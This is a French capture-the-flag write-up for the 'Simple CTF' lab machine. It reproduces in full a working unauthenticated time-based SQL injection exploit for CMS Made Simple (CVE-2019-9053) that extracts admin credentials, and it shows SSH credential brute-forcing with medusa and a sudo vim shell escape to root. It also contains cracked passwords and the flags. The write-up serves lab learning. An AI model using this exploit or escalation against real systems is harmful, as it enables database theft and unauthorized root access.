Simple CTF

// easy room //

Scanning

- nmap -T4 -sS -sV -Pn -p- simple -vv | tee nmap_result.txt

```
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON         VERSION
21/tcp   open  ftp     syn-ack ttl 63 vsftpd 3.0.3
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux;
protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Enumération

:80

- gobuster dir -u http://simple -w /usr/share/seclists/Discovery/Web-Content/big.txt -x txt,html,js,zip,php

```
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]
/robots.txt           (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 294]
/simple               (Status: 301) [Siz
```

robots.txt

Rien

simple

Interface 'CMS Made Simple'

- Version : 2.2.8

CMS Made Simple < 2.2.10 - SQL Injection

:21

Je me suis connecté en "Anonymous"

```
ftp @ip
login: anonymous
```

On est connecté,

- 'passive' pour désactiver le mode passif
- ls

On a un folder nommé 'pub',

Ensuite on 'get' le txt nommé ForMitch.txt :

cat ForMitch.txt

> **Note**
>
> Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Un indice intéressant qui signifie que le password est identique pour l'utilisateur.

Exploitation

Exploit

J'ai téléchargé l'exploit disponible depuis 'Exploit-Database'

// J'ai du installé python 2, requests, termcolor //

```
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
```

```
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri
(ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist
for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack
password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri
--crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql
injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
```

```
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) +
")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp +
"25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp +
"25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
```

```
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) +
")+from+cms_users+where+username+like+0x" + ord_db_name_temp +
"25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) +
")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+-
-+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()
```

Lancement du script :

python2 @name_script -u @URL --crack -w @path_wordlist

Résultat

```
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
```

On se connecte en ssh

SSH

medusa -u mitch -p secret -h 10.10.71.15 -M ssh -n 2222

```
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 10.10.71.15 (1 of 1, 0 complete) User: mitch (1 of 1, 0
complete) Password: secret (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.71.15 User: mitch Password: secret [SUCCESS]
```

1st Flag

- ssh -p 2222 *mitch@10.10.71.15*

  mitch@Machine:~$ cat user.txt
  G00d j0b, keep up!

Root

```
mitch@Machine:/home$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
```

On peut ouvrir avec des droits root les fichier via 'vim'

GTObins

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo vim -c ':!/bin/sh'
```

---

mitch@Machine:/$ sudo vim -c ':!/bin/sh'

```
id
uid=0(root) gid=0(root) groups=0(root)
```

On a l'accès root

2nd Flag

```
 cat root.txt
W3ll d0n3. You made it!
```